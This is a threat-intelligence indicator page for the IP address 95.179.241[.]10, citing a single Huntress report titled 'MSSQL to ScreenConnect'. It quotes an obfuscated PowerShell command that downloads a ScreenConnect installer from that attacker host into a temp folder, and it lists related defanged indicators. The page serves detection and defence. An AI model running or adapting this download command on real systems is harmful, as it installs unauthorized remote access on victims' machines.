95.179.241[.]10IP address
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
MSSQL to ScreenConnect“powershell -nop -c $ds = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke(''hxxp://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guest'', ''c:\windows\temp\2.msi'')”
Indicators reported together
named in the same reports- hxxp://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guestin 1 report
- hxxp://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Accessin 1 report
- 185.56.83[.]82in 1 report
Copy these 3 indicators · defanged
Thanks — we review every report.